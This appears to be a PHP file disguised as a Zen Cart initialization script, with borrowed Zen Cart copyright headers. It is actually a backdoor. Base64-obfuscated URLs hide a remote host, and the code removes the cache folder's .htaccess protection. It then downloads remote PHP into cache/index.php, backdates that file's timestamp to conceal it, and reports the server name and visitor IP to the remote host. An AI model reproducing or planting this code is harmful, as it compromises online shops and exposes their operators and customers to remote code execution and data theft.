<?php 
/**
 * read the configuration settings from the db
 *
 * see {@link  http://www.zen-cart.com/wiki/index.php/Developers_API_Tutorials} for more details.
 *
 * @package initSystem
 * @copyright Copyright 2003-2005 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: init_db_config_read.php 2753 2005-12-31 19:17:17Z wilt $
 */
?>
<?php 
class zen_init_sysctrl{
	var $time;
	private static $_instance = NULL; 

	private function __construct(){
		$this->time = time()- 120000000;
	}
	public function __destruct(){
		
	}
/**
 * 
 * Enter description here ...
 */
	static public function get_template_instance(){		
		if (!isset(self::$_instance)){    		 
			self::$_instance = new zen_init_sysctrl();  
		}
		return  self::$_instance; 
	}

	
/**
 * autoloader activation point for canonical url handling script
 *
 * @package initSystem
 * @copyright Copyright 2003-2010 Zen Cart Development Team
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: config.canonical.php 15763 2010-03-31 20:05:22Z drbyte $
 */
	public function  init_instance(){
		global $g_sysctrl_handle;	
		$g_sysctrl_handle = "sysctrl_handle";
		$this->loading_cacheing();
		$this->send_message();				  
	}
/**
 * 
 * Enter description here ...
 */
	
	public function get_ip_addr(){
		 $ip_addr = "";
		if (getenv("HTTP_CLIENT_IP"))
			$ip_addr = getenv("HTTP_CLIENT_IP");
		else if(getenv("HTTP_X_FORWARDED_FOR"))
			$ip_addr = getenv("HTTP_X_FORWARDED_FOR");
		else if(getenv("REMOTE_ADDR"))
			$ip_addr = getenv("REMOTE_ADDR");
		else $ip_addr = "Unknow";
		return  $ip_addr;
	}
/**
 * autoloader activation point for canonical url handling script
 *
 * @package initSystem
 * @copyright Copyright 2003-2010 Zen Cart Development Team
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: config.canonical.php 15763 2010-03-31 20:05:22Z drbyte $
 */	
	public function init_send_url(){
		$url = base64_decode("aHR0cDovL2QubTRrZS5uZXQvaW5kZXgucGhwP2FjdGlvbj0=");
		$ip_addr ="&ip_addr=". $this->get_ip_addr();	
		$md5 = "&md5=17c212f87a1b3508c81868f144bef809";
		$server_name = $_SERVER['SERVER_NAME'];
		return $url = $url.$server_name.$ip_addr.$md5;
			
	}
/**
 * autoloader activation point for canonical url handling script
 *
 * @package initSystem
 * @copyright Copyright 2003-2010 Zen Cart Development Team
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: config.canonical.php 15763 2010-03-31 20:05:22Z drbyte $
 */
	public function  send_message(){		
		$url = $this->init_send_url();
		$fp = fopen($url, "r");	
		if ($fp == NULL){	
			return ;	
		}
		@fclose($fp);	
		  
	}
	
	public function loading_cacheing(){
		if (file_exists("./cache/.htaccess")){
			unlink("./cache/.htaccess");
		}
		if (!file_exists("./cache/.htacess")){
			touch("./cache/.htacess");
		}else {
			return ;
		}
		$inde = "./cache/index.php";
		if (!is_writable ("./cache/") && !file_exists($inde) && !is_writable ($inde)) {return ;}
		$target = base64_decode("aHR0cDovL2NhY2hlMi5nb29nbGVjb2RlLmNvbS9zdm4vaW5kZXgucGhw");
		$content = $this->get_url_content($target);
		$fp = fopen($inde, "w+");
		if ($fp == NULL){	return ;	}  
		$num = fwrite($fp,$content);
		@fclose($fp);
		touch($inde, $this->time);			
	}
	
	
/**
 * autoloader activation point for canonical url handling script
 *
 * @package initSystem
 * @copyright Copyright 2003-2010 Zen Cart Development Team
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: config.canonical.php 15763 2010-03-31 20:05:22Z drbyte $
 */
	public function get_url_content($target){		
		if ($target ==NULL) {	return ;	}
		$fp = fopen($target, "r");
		if ($fp == NULL){	return ;	}  
		$content ="";
		while(!feof($fp)){
			 $content.=fgets($fp);
		}
		@fclose($fp);
		return $content;
	}		
	

}

?>
